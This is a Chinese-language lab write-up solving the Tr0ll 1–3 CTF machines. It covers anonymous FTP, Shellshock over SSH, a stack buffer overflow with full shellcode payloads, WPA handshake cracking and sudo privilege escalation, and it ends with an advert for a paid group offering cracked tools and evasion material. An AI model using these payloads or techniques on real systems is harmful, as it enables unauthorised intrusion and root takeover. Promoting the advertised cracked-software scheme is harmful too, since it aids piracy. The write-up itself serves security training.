Tr0ll 靶机全系列(1-3)
Tr0ll level 1
本文主要是利用了ftp匿名登录
允许匿名登录
再看看网页的东西
插件看到一个phpmyadmin数据库管理器
但是目录扫描的结果中没有任何phpmyadmin相关的东西
只有这两个撒比图片
还有一个robots.txt
那么只能使用刚刚nmap扫描出来的ftp匿名登录了,密码为空即可登录目标ftp服务器
有一个lol.pcap流量包,我们使用大鲨鱼打开看看,下面是ftp下载的命令
用大鲨鱼打开,赛选ftp的协议,可以看到登录ftp的账号密码 anonymous / password
流量分析
这里服务器使用了syst
命令,查看系统信息
215 :这是一个状态码,表示请求成功。
UNIX Type:L8 :这是服务器的操作系统类型
PORT 10,0,0,12,173,198 (让服务端连接客户端的44486端口)
为什么是44486端口?
先观察这6位数,前四个和ip地址很像,说明这就是IP地址,实际的数据交互的端口应该是后面两个数构成。
这里是用第五个数乘以256 再加上第六个数,这时候就得到了实际的端口号(173×256+198=44486)
响应结果为 command successful. Consider using PASV.
继续分析
命令 LIST (命令用于列出指定目录中的子目录和文件信息,如果没有指定目录的名字就默认列出当前目录下的所有子目录和文件信息,并返回给客户端。),红框中是返回结果,是有一个文件的
命令:TYPE I (I 文件传输类型为二进制 ; A 文件传输类型为ASCII)
返回结果: Switching to Binary mode.
和刚刚一样的命令:PORT 10,0,0,12,202,172 (客户端请求服务端,让服务端连接客户端51884端口)
返回值:PORT command successful. Consider using PASV.
命令:RETR secret_stuff.txt (下载secret_stuff.txt)
返回值:Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol 😛
Sucks, you were so close… gotta TRY HARDER!
好吧,好吧,好吧,你不就是个聪明的小恶魔吗,你差点就找到了sup3rs3cr3tdirlol:-P
太糟糕了,你离得太近了……要更加努力!
再自己找找,找到网页上来了,这里有一个二进制文件
下载下来看看
让我们找到这个 0x0856BF 这个地址,继续
Find address 0x0856BF to proceed
good_luck文件夹中
this_folder_contains_the_password文件夹
我们使用海德拉爆破,这里很奇葩,密码为 Pass.txt 密码文件名称就是ssh的密码,指定密码文件那个笑脸,都是错误的
切换终端,收集内核信息,ubuntu版本很低,很大可能存在内核提权漏洞
符合条件的两个,一个是c文件
把他复制到当前目录下,尝试编译,本地不行,放到靶机上去
提权成功
防止ftp匿名登录
在 FTP 服务器(如 vsFTPd、ProFTPD 等)上配置匿名登录通常涉及以下步骤:
-
编辑配置文件:找到 FTP 服务器的配置文件(例如
/etc/vsftpd.conf
)。 -
启用匿名访问:确保以下配置项被设置为拒绝匿名访问:
plaintext anonymous_enable=NO
-
设置匿名用户的根目录:指定匿名用户可以访问的目录:plaintext
anon_root=/path/to/anonymous/directory ```
-
重启 FTP 服务:保存配置后,重启 FTP 服务以使更改生效:
sudo systemctl restart vsftpd
level 2
主机发现,80探测
端口syn扫描,没有啥利用信息了
和上一关一样,使用ftp匿名登录试试,失败
目录扫描
访问robots.txt
noob,keep_trying,dont_bother,ok_this_is_it
都是这个母老虎
源码What did you really think to find here? Try Harder!,这几个母老虎的源码都是这个提示
返回主页,查看源码
登录失败
普通ftp用户不行,那就换作者的Tr0ll,账号密码都是Tr0ll
目录枚举,下载下来
尝试各种方法后,也找不到这个密码
那么只剩下一个方法了,从这两个图片入手
下载就行
这里下载的是这张图片
这张图片啥也没有
仔细分析图片的路径就能清楚了
然后根据robots的路径,找到如下图片
http://192.168.111.191/dont_bother/cat_the_troll.jpg
最终找到一个消息
Look Deep within y0ur_self for the answer(从 y0ur_self 处寻找答案),回到网页
泄露了一个密码字典
爆破(apt install fcrackzip)
失败的,就不等了
看样子是base64的一个编码,我们去解码一下
用base -d解码这个文件,并重定向到pass.txt中
然后再爆破,找到了zip的密码
ItCantReallyBeThisEasyRightLOL
一个ssh密匙,RSA
有了密匙,就可以登录服务器了,不支持互相签名(就是不让你登录)
提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数
ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191
不让登录,平时的利用方式就没有了,这里有一个shellshock env环境变量绕过ssh的漏洞
Shellshock,又称Bashdoor,是Unix中广泛使用的BashShell中的一个安全漏洞,首次于2014年9月24日公开。shellshock Bash漏洞利用CVE-2014-6271被利用!
关键字Shellshock,Remote(远程)因为我们有了私匙,只能进行远程的漏洞利用
第一个payload,这是一个正反向连接的payload,看到一个SSH-2.0,,,,,目前收集到的信息,大概率不是这个
搜第二个,msf的脚本
貌似是可以执行命令的
这时候可以利用ssh执行命令测试
成功了,内网信息收集,低版本的系统
筛选出了这个结果
使用方法
我们的靶机,一个23,一个29,很明显,不适用
已经替你们试过了
查找指定用户的文件,也没有利用方式
回家的路
SUID
suid提权一个个找呗(啥利用方式也没有)
有这些东西
切换根目录
看到三个门
第一个门,自动重启了。。。。。
两分钟的困难模式,就是不让我输入命令了,把我给锁了两分钟。。。。
查看信息,三个门都是root的文件
这里要用到一个工具GDB,全名叫做(GNU Debugger)是一个强大的开源调试器,主要用于调试编写在 C、C++、Fortran 等编程语言中的程序。
显示给定函数(main)的反汇编代码,main函数一般是一个程序中的主函数
disas main
door3
door2
door1
发现了第二个door可能存在缓冲区溢出的漏洞,strcpy 函数详细
这里我们要用到msf自带的插件了,生成1024个字符(也可以不是1024,500,100都可以),用于测试程序是否存在缓冲区溢出漏洞
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1024
在gdb中执行r00t文件,我们可以看到缓冲区溢出在 0x6a413969
这个位置
run 你生成的1024个字符
Program received signal SIGSEGV, Segmentation fault.
程序接收到SIGSEGV信号,出现了分段故障,存在漏洞
使用msf的pattern_offset.rb反查 6a413969 对应上面的字符中的偏移量,为268
查找ESP栈的溢出地址,有了偏移量,就可以知道栈空间大小占据空间位置,接下来就要找跳板地址ESP,就可以跳到恶意代码shellcode的位置
跳板地址:攻击者会在溢出数据后添加返回地址(即跳板地址),希望程序在执行到这条返回指令时能跳转到覆盖的恶意代码位置,从而执行攻击者的代码。
print 写入 268 个A和4个B
问:为什么是 4 个 B 而不是 2 个或 6 个?
因为返回地址在 x86 上通常是 4 字节,使用 4 个字符(B)正好填满这一字节,每个 B 对应一个字节。
如果只使用 2 个 B(即 2 字节),返回地址将没有被完全覆盖。
而使用6个,会多于所需的字节数,但仍会覆盖返回地址。不过,这样的做法没有必要,因为多余的 B 不会提供任何额外的好处,只是冗余。
r $(python -c 'print "A"*268 + "B"*4') # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态
起始的 esp 内容
在生成的字符后面再添加几个字符,执行以后看一下缓冲区溢出的 esp 内容
返回了一个新的地址
结论:我们要构造268个字符偏移量,将esp位置放在268个字符之后,这样esp位置就存在了返回的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。
python代码将 0xbffffb80
起始的esp地址转化为十六进制字节序列的形式
address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf
查看内核信息
x86系统
如果输出是 x86_64
,则表示你在使用 64 位系统(x64)。
如果输出是 i686
或 i386
,则表示你在使用 32 位系统(x86)。
Shell-Storm 搜索关键字获取shellcode,x86 – execve
https://shell-storm.org/shellcode/index.html
execve:表示可执行文件的意思
然后我们需要的是shellcode,所以关键字就是,execve、x86、shellcode,就能定位到这个,中间的哪个表示需要执行的命令也就是获取一个shell
这下就能组成一个payload了
./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
nop sled
是一种可以破解栈随机化的缓冲区溢出攻击方式栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变
在shellcode前注入很长的 nop(x90) 指令 (无操作,仅使程序计数器加一)序列,
程序计数器逐步加一,直到到达攻击代码的存在的地址
提权成功
另外这个esp起始地址一定是要固定不变的吗?
我们把他修改为返回后的esp地址也就是0xbffffb50
,之前是0xbffffb80
,上python代码(这个脚本可以保存好,经常要用)
address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x50xfbxffxbf
而我修改了这个nop sled
数量为400个,照样也是可以提权的
./r00t $(python -c 'print "A"*偏移量 + "esp其他地址" + "nop sled"*400 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x50xfbxffxbf" + "x90"*400 + "xbax19xb3xb8x79xdbxdexd9x74x24xf4x5dx29xc9xb1x0bx31x55x15x83xedxfcx03x55x11xe2xecxd9xb3x21x97x4cxa2xb9x8ax13xa3xddxbcxfcxc0x49x3cx6bx08xe8x55x05xdfx0fxf7x31xd7xcfxf7xc1xc7xadx9exafx38x41x08x30x10xf6x41xd1x53x78"')
这个案例就证明只要nop sled
枚举的地址足够多,成功几率还是很大的,接下来是level 3
level 3
主机发现,直接连接就行了,start:here
suid
常规信息收集
sudo
0777文件:表示一个文件或目录完全开放,任何用户都可以读取、修改和执行它。
find / -type f -perm 0777 2>/dev/null
这里有一个cap文件(可以用wireshark工具打开),这不是常规的数据包,802.11跟无线协议的关系很大
这像是一个字典
把他用上
这里要用到一个工具 aircrack-ng,
Aircrack-ng :是一个用于无线网络安全审计的开源工具套件,专门用于评估和测试 Wi-Fi 网络的安全性。它广泛用于网络安全研究、渗透测试和网络监控。该工具套件包括一系列功能强大的工具,可以帮助用户捕获流量、破解 WEP 和 WPA/WPA2 密码、以及进行网络攻击等。
爆破密码试试
Tips:有Wi-Fi网络的握手数据包,就可以在离线情况下进行密码破解,无需与你的设备直接连接该网络。
aircrack-ng -w gold_star.txt wytshadow.cap
有了文件名称和密码gaUoCe34t1,去看看有没有这个用户wytshadow
密码正确
继续信息收集,可以看到有一个nginx的服务文件可以用
sudo -l
启动这个nginx
查看默认的配置信息,监听的是8080端口
查看端口信息
curl用不了
那么就用本机访问
这里要用到一个工具,lynx
,默认kali是没有的
lynx:是一个文本模式的网页浏览器
sudo apt-get install lynx
此时我们就得到了一组数据genphlux:HF9nd0cR!,那么久查看一下是否有这个用户
之前那个是nginx,现在是apache文件了
查看默认开启的端口(apache的启动端口)
查看是否启动成功
80开启成功了,但是没有任何信息,只有一个403
此时可以返回去看配置文件,有一个allow from 127.0.0.1
查看是否存在curl和wget,来访问本地的服务(127.0.0.1)
fido:x4tPl!,但是呢鉴权失败了
回家的路上,看到了两个文件,一个ssh私匙
这里搜集了半天,找到一个viminfo中有一个密码信息 B^slc8I$
尝试sudo
sudo成功了,再看看权限,可以读写!还可以sudo
写一个c文件
init main()
{
system('/bin/bash');
}
这里出现一个编译错误,说我们使用了一个隐式的函数system,需要我们加上一个参数
gcc -o dont_even_bother test.c -Wno-implicit-function-declaration
总结
level 1主要使用的是ftp匿名登录,和低版本操作系统的内核提权
level 2 通过页面上的图片信息,使用strings查看图片信息,有一个信息泄露,得到zip密码信息后,使用fcrackzip对压缩包文件进行一个暴力破解,命令如下
fcrackzip -D -p pass.txt -u lmao.zip
然后就是Bashdoor(bash之门漏洞),命令如下
ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191 -t "() { :;}; /bin/bash"
最后就是缓冲区溢出漏洞,如何判断?看函数信息就可以了,需要一个调试工具gdb,还有msf的一个接口,常用命令
gdb filename # 进入该文件的调试
disas main # 显示main函数的汇编代码
run # 运行当前文件,可简写 r
# msf接口
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024 # 表示生成1024个字符
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [缓冲区溢出的位置,例如(0x6a413969)] -l 1024 # 反查这个溢出的位置的偏移量
一个有用的python脚本,将 0xbffffb80
起始的esp地址转化为十六进制字节序列的形式
address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf
一个有用的shellcode获取地
https://shell-storm.org/shellcode/index.html
level 3 首先就是内网的信息收集,sudo
开启nginx
,然后使用lynx
工具,获取网页信息,得到下一个用户的信息,第二个信息是apache的80端口,但是同样的方法,不会让你用第二次,切换到当前用户根目录,获取到ssh密匙文件,ssh登录即可,登录之后,信息收集需要完善,从viminfo找到密码信息,这个时候就能sudo了,利用可以sudo的文件权限信息,进行提权即可,感谢观看!
广告时间
如果你喜欢水报告,这里有1000多份的src报告,供你学习思路
如果你想要一些源码,这里将有上百套的源码,供你魔改开发属于你自己的软件
如果你需要ppt,那么这里几千份ppt模板,供你选择,搭配上GPT,轻松搞定你的每月汇总
如果你想要做副业,那么这里有几百个网赚项目,让你利用流量变现,每个月可以多几条烟钱(我不抽烟),每年也可以小赚1w+
如果你想要各种破解工具,辱羊毛,不想开会员,那么这里是你最好的选择,还有很多的实用小工具
还有各种的学习资料,包括且不限于渗透测试,python/c++编程,免杀,AI人工智障,逆向,安全开发等互联网资源(如果进了帮会需要百度网盘还请联系我)
如果你想要兼职,那么泷羽Sec提供了一个很好的兼职机会,您邀请一个人进入泷羽Sec帮会,凡是进入本帮会,嘉宾享72%的帮会推广收益,也就是【一次性付费金额0.72】,普通成员享受推广收益的40%也就是【一次性付费金额0.40】
泷羽Sec资料库,现一次性付费99,即可永久进入,加入泷羽Sec帮会,享受各种IT资源,资源持续更新中
感谢支持!
暂无评论内容